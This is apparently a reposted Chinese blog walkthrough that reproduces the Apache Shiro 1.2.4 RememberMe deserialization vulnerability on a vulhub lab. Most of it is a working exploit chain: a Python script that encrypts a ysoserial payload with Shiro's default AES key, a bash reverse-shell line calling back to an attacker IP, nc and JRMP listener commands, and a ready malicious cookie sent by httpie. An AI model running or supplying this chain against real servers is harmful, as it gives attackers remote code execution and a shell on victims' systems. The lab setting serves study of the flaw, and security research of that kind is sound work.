欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

漏洞复现系列--Shiro RememberMe 1.2.4 反序列化漏洞

程序员文章站 2022-03-24 15:29:54
...

1、漏洞利用前提:
Apache Shiro <= 1.2.4

2、靶场:
利用vulhub的靶场在服务器上搭建
注:docker相关配置就没有写了,靶场能运行就行

靶场搭建

git clone https://github.com/vulhub/vulhub.git
cd /vulhub/shiro/CVE-2016-4437
docker-compose up -d   #启动靶场

启动完靶场之后访问服务器ip所在的8080端口,即可看到靶场界面如下
漏洞复现系列--Shiro RememberMe 1.2.4 反序列化漏洞
2、获取jar包
在攻击机上执行

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests

mvn会生成一个名为ysoserial-0.0.6-SNAPSHOT-all.jar的jar包,将该jar包和poc脚本放在同一目录下
poc代码如下:

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
print "rememberMe={0}".format(payload.decode())

我将该脚本命名为shiro_shell.py

3、攻击机上执行脚本生成恶意cookie

python shiro_shell.py 1.1.1.1:1099     #1.1.1.1为你的攻击机ip  端口可以随意变动,但是后面监听的时候也要做相应变动

生成的cookie类似下图
漏洞复现系列--Shiro RememberMe 1.2.4 反序列化漏洞

4、反弹shell制作
反弹shell需要加密,网址:http://www.jackson-t.ca/runtime-exec-payloads.html
反弹shell代码如下

bash -i >& /dev/tcp/1.1.1.1/7878 0>&1             #1.1.1.1为攻击机ip

5、攻击机监听端口
攻击机1.1.1.1上打开两个窗口,
其中一个窗口监听shell

nc -lvp 7878

另一个窗口监听JRMP端口

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 '加密后的反弹shell'

6、将生成的恶意cookie通过httpie发送
在攻击机1.1.1.1上执行如下代码

http 1.1.1.2:8080/login 'Cookie:rememberMe=UfsKYXK1SIOgFdnOxdPidh09yGZv6Medaj/T0E5sE9xhxMP69kzlNKsEdfHUhTgD12ea7NOv+xRhnZSGhUi9rz1tYVPu5QHfINrMS4I+lTe82RO5PY1vJrmMwP/NnBvjfGtTWTwRSNl1AhNgJrAhrEBStf+cpnBMwmoWxiexDjm2BavY/lSLe52hZhCEcr0zv/kqC9PdhBfY326+ux/RkE0pfwfZNMEUrPIZw8gBJkCIDTb1qj+W32+YinOKCkye/i+GmKHifPoMSt91q0nR/NQnxyu4UJQoULSbCI3/vXKtGm7P+YNqhH6smVPIoTxqtAqWTJG7eOafDPC2azUlhbLcmjql7qDL2wPpv4JOxB0fLIwdkQqSn9DCBty2BfKDqf8I/lvTbKqHHfVIUMdjYQ=='

7、查看攻击机上监听的结果
发现两个端口都会收到消息,
漏洞复现系列--Shiro RememberMe 1.2.4 反序列化漏洞
shell反弹到7878端口
漏洞复现系列--Shiro RememberMe 1.2.4 反序列化漏洞

8、总结
找了很多资料,去试了很多次,另外一种方法还是没有实验成功。也不知道在哪遇到了坑,还是不懂开发。另外一种方法的参考链接:https://www.cnblogs.com/paperpen/p/11312671.html,这种是通过dnslog回显去判断的,但是我按照流程做下来并没有成功,除了jar包名称一样,其余的地方几乎都没区别。
参考资料:
https://www.jianshu.com/p/0007eafd1f92
https://blog.csdn.net/qq_41954384/article/details/101694539

相关标签: 漏洞复现